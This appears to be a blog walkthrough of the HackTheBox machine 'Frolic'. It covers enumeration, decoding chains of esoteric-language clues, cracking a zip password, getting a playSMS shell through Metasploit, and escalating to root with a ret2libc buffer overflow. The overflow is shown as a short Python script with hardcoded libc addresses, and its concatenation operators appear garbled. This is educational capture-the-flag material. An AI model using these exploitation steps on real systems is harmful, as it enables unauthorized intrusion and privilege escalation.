Select Page
  • HackTheBox Dificulty Rating 55% 55%





Release date:

13 Oct 2018

Even though the user part was very CTF like, having to decode multiple esoteric languages and being directed this way and that through the application filesystem, the privesc ended up being a really nice and straight forward ROP buffer overflow.

It’s much easier to show than to explain so let’s jump right in.



As always I start with a nmap. We see that there are 2 unusual ports running HTTP. Port 1880 and port 9999.

Starting Nmap 7.70 ( ) at 2019-03-22 23:21 EET
Nmap scan report for
Host is up (0.039s latency).

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open http Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h57m58s, deviation: 3h10m30s, median: -7m59s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x00
| Domain name: \x00
| FQDN: frolic
|_ System time: 2019-03-23T02:44:07+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-03-22 23:14:06
|_ start_date: N/A

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 13.39 seconds


Let’s try to see what we get when we visit the applications. First let’s try port 9999.


A default page, but if you look close it also directs you to the port 1880 in case you missed it on the initial scan. Ok, Let’s go to that port and see what we get.


A node red platform. After a lot of enumeration I ended up deciding that this was a rabbit hole so I’ll be ignoring this node red from now. Instead let’s focus on enumerating the port 9999 application.

We start with a dirsearch of the base URL and see what we get.


[23:23:17] Starting:
[23:23:21] 301 – 194B – /admin ->
[23:23:21] 200 – 634B – /admin/
[23:23:22] 200 – 634B – /admin/index.html
[23:23:25] 301 – 194B – /backup ->
[23:23:26] 200 – 28B – /backup/
[23:23:29] 301 – 194B – /dev ->
[23:23:29] 403 – 580B – /dev/
[23:23:40] 301 – 194B – /test ->
[23:23:40] 200 – 83KB – /test/


Ok, we have multiple interesting files. Let’s check them out. First let’s go to backup. There almost always is something interesting there.


It seems to direct us to a user.txt and password.txt. Let’s check them out and see what we get.


So now we have a user and a password. Let’s head to /admin and see if we can manage to use them on the login page there.

Spoiler: they don’t work

But, if we look at the source code of the page, we see that the  login button calls a function named validate()


If we go to the JavaScript file we can see that this function checks to see if the username is admin and the password is superdooperlooperpassword_lol and then redirects us to success.html


From this point we can navigate directly to success.html and find we are greeted by this monstrosity.


What the actual … ?

Ok, let’s not panic. If we ever done CTF’s before we might notice that this seems to be an esoteric programming language. We can fire up our trusty esoteric language wiki and check to see which kind of language it is.

This one was a bit tricky because it looks like ??? but it’s actually Ook!

From here we can just google “ook decode” and get the following:

Nothing here check /asdiSIAJJ0QWE9JAS

Another clue. Fine, let’s go to that directory and see what we get.


Oh God

Well, at least this one looks like base64 so we go ahead and decode that and get something that at first seems to be a mistake, but after closer inspection looks like a file.



If we go ahead and pipe it into a file, we can see that it’s actually a zip archive.


If we rename it to .zip and try to unzip it asks us for a password. Fortunately we are hackers and a zip file doesn’t stand in our way to CTF greatness so we fire up our trusty fcrackzip, give it the infamous rockyou.txt dictionary and leave it going for about 1-2 seconds until it spits out the password password.

Now we can unzip the file and see inside an index.php file that has a bunch of hex.

Again, we decode the hex to ASCII and get some base64. This is getting quite repetitive.

We decode the base64 and get some more gibberish.


Fortunately for us we did our research before and immediately notice that this looks like the famous Brainfuck esoteric language. So we go ahead and decode that and get this:


It’s a password, but for what?

Seems we have to do some more enumeration. If we go back to dirsearch and start enumerating each subfolder, we get to /dev/backup which gives us this:



Going to that /playsms folder we are greeted by a login page.


Now if we try the user admin and the final password that we found after we finished that emotional roller-coaster of a challenge we finally manage to log in to something that looks useful.


After a little search, we manage to find a metasploit exploit that gives us a shell on the server. We fire up metasploit and end our suffering once and for all.

Here we find the user.txt flag in the home directory of ayush under /home/ayush/user.txt and we can go ahead and read that and move on to root.



Ok, so for the root part, after enumerating the box we notice that there is a file with SUID set in ayush’s home directory under /home/ayush/.binary called rop.



This file seems to take a string as an argument and send it.


Buffer overflow anyone?

Let’s see what happens when we send it 100 A’s.


Good. We get a Segmentation fault.

We don’t have any debugger on the box se we grab the file and send it to our own machine where we can run it in gdb.

First we need to see how big the buffer size is so we generate a pattern using pattern_create.rb usually found in /usr/share/metasploit-framework/tools/exploit.


Now that we have a pattern we can run the program in gdb with the –args flag and place our pattern as the argument and run the program.


If we scroll down we see that the seg fault was at b7Ab. Now we need to check that address with pattern_offset.rb to see the buffer size.


We see that the buffer size is 52. That’s not a lot to work with but for a basic shellcode it might do just fine. But first we need to see if DEP is enabled and we can quickly check that in gdb (you will need the peda extention) by typing checksec.


We see NX is enabled meaning basically that DEP is enabled so we cannot run our shellcode from the binary. We need to think of a different way to exploit this. Fortunately, the name of the binary gives it away. ROP as the name suggests is a type of buffer overflow attack where you direct the program execution to an external library. In our case we can do a return to libc.

We can check the address of libc by typing in the victim machine the command:

ldd /home/ayush/.binary/rop

If we type it multiple times we can see that the address is static meaning ASLR is not enabled. This makes things much, much easier.


Ok, so in order to do this we need a couple of things.

First we need the address of libc which we got earlier. Next we need to point the EIP to the system address inside libc. We also need the address of exit and the address of the command we want to execute which in our case would be /bin/sh.

Now that we know what we need, let’s proceed in finding out how we get them.

For the system address we use the following command:

readelf -s /lib/i386-linux-gnu/ | grep system


Bear in mind that that address is the address of system inside libc. Meaning that it’s the offset address from the base address of libc which we found using ldd and is 0xb7e19000.

So to get the real system address we need to add the offset address with the base address of libc.

So 0xb7e19000 (base libc) + 0x0003ada0 (system offset) = 0xb7e53da0

Now we need to do the same for exit. We grab the offset address with:

readelf -s /lib/i386-linux-gnu/ | grep exit


After that, we just need the address of our command and we can finally assemble our buffer overflow.

We get the address of /bin/sh using:

strings -a -t x /lib/i386-linux-gnu/ | grep /bin/sh


We then make a simple python script that gives us the overflow. The code is below:

import struct

system_addr = struct.pack("<I",0xb7e53da0)
exit_addr = struct.pack("<I",0xb7e479d0)
shell_addr = struct.pack("<I",0xb7f74a0b)

buff = "A" * 52
buff  = system_addr
buff  = exit_addr
buff  = shell_addr

print buff


We import struct so we don’t have to deal with the endianess and then place the calculated addresses for the system, exit and command and place them in order after the 52 A’s that will overflow our buffer.


We run the vulnerable program and insert our python code as arguments and get a root shell.

  • InfoSec enthusiast
  • Penetration tester
  • CTF player